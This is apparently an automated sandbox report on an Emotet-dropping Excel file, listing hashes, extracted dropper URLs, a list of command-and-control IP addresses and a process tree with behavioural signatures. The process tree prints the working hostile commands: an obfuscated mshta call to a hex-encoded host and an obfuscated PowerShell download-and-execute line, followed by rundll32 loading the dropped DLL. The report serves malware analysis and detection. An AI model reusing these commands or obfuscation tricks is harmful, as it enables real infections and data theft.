Analysis
- max time kernel
139s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-en-20220112 - submitted
19/01/2022, 22:46
Static task
static1
Behavioral task
behavioral1
Sample
241c5d9ab82693492059b9353498a6da.xls
Resource
win7-en-20211208
General
- Target 241c5d9ab82693492059b9353498a6da.xls
- Size 141KB
- Sample220119-2py1qsdgbr
- SHA256 d7eb6f673e1dfe379598ee10ef05a32e82152bfe1a49aecc0cf808108cb08202
- MD5 241c5d9ab82693492059b9353498a6da
- SHA1 c57d6e188418b9def1c5bbd653e84829a5d85df0
- SHA512 991e3b6d9d578d4d516034094ba5355fec9b2d662c84981549d384340e956539fc579bd6d6166b35933e4edc812ed0b368b5d6db23e6076468de8cc454e055d4
- MD5 SHA1 SHA512
Malware Config
Extracted
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hta
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hta.dropper
http://0xb907d607/fer/fer.html
Extracted
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ps1
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ps1.dropper
http://185.7.214.7/fer/fer.png
Extracted
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emotet
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Epoch4
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131.100.24.231:80
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209.59.138.75:7080
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103.8.26.103:8080
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51.38.71.0:443
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212.237.17.99:8080
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79.172.212.216:8080
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207.38.84.195:8080
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104.168.155.129:8080
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178.79.147.66:8080
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46.55.222.11:443
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103.8.26.102:8080
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192.254.71.210:443
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45.176.232.124:443
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203.114.109.124:443
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51.68.175.8:8080
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58.227.42.236:80
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45.142.114.231:8080
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217.182.143.207:443
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178.63.25.185:443
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45.118.115.99:8080
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103.75.201.2:443
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104.251.214.46:8080
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158.69.222.101:443
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81.0.236.90:443
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45.118.135.203:7080
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176.104.106.96:8080
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212.237.56.116:7080
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216.158.226.206:443
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173.212.193.249:8080
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50.116.54.215:443
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138.185.72.26:8080
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41.76.108.46:8080
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212.237.5.209:443
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107.182.225.142:8080
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195.154.133.20:443
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162.214.50.39:7080
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110.232.117.186:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1444 2336 cmd.exe 51 - Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 872 created 2436 872 WerFault.exe 65 - suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 5 IoCs
flow pid Process 36 2436 mshta.exe 40 3288 powershell.exe 42 3288 powershell.exe 44 3288 powershell.exe 61 2248 rundll32.exe - Downloads MZ/PE file
- Sets service image path in registry 2 TTPs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation mshta.exe - Loads dropped DLL 4 IoCs
pid Process 3980 rundll32.exe 1964 rundll32.exe 3944 rundll32.exe 2248 rundll32.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Lxfdbjohgsmpan\crayquwjyzb.rdp rundll32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 752 2436 WerFault.exe 65 - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe - Enumerates system info in registry 2 TTPs 5 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2336 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3288 powershell.exe 3288 powershell.exe 752 WerFault.exe 752 WerFault.exe 2248 rundll32.exe 2248 rundll32.exe - Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 3288 powershell.exe Token: SeSystemtimePrivilege 1712 svchost.exe Token: SeSystemtimePrivilege 1712 svchost.exe Token: SeIncBasePriorityPrivilege 1712 svchost.exe Token: SeSystemtimePrivilege 1712 svchost.exe Token: SeSystemtimePrivilege 1420 svchost.exe Token: SeSystemtimePrivilege 1420 svchost.exe Token: SeIncBasePriorityPrivilege 1420 svchost.exe - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE 2336 EXCEL.EXE - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 2336 wrote to memory of 4020 2336 EXCEL.EXE 61 PID 2336 wrote to memory of 4020 2336 EXCEL.EXE 61 PID 2336 wrote to memory of 1444 2336 EXCEL.EXE 63 PID 2336 wrote to memory of 1444 2336 EXCEL.EXE 63 PID 1444 wrote to memory of 2436 1444 cmd.exe 65 PID 1444 wrote to memory of 2436 1444 cmd.exe 65 PID 2436 wrote to memory of 3288 2436 mshta.exe 69 PID 2436 wrote to memory of 3288 2436 mshta.exe 69 PID 872 wrote to memory of 2436 872 WerFault.exe 65 PID 872 wrote to memory of 2436 872 WerFault.exe 65 PID 3288 wrote to memory of 2460 3288 powershell.exe 75 PID 3288 wrote to memory of 2460 3288 powershell.exe 75 PID 2460 wrote to memory of 3980 2460 cmd.exe 76 PID 2460 wrote to memory of 3980 2460 cmd.exe 76 PID 2460 wrote to memory of 3980 2460 cmd.exe 76 PID 3980 wrote to memory of 1964 3980 rundll32.exe 77 PID 3980 wrote to memory of 1964 3980 rundll32.exe 77 PID 3980 wrote to memory of 1964 3980 rundll32.exe 77 PID 1964 wrote to memory of 3944 1964 rundll32.exe 78 PID 1964 wrote to memory of 3944 1964 rundll32.exe 78 PID 1964 wrote to memory of 3944 1964 rundll32.exe 78 PID 3944 wrote to memory of 2248 3944 rundll32.exe 79 PID 3944 wrote to memory of 2248 3944 rundll32.exe 79 PID 3944 wrote to memory of 2248 3944 rundll32.exe 79
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\241c5d9ab82693492059b9353498a6da.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2336 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:4020
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:2460 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3980 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lxfdbjohgsmpan\crayquwjyzb.rdp",KibHlYKFsh8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lxfdbjohgsmpan\crayquwjyzb.rdp",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2248
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2436 -s 17204⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵PID:2400
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe cfa80921a84f88a0e07a1ea2b4370585 pENXZnoQfkS8lHBIlpwrEQ.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:3896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow1⤵PID:3544
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 424 -p 2436 -ip 24361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:872
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k wusvcs -p1⤵PID:1844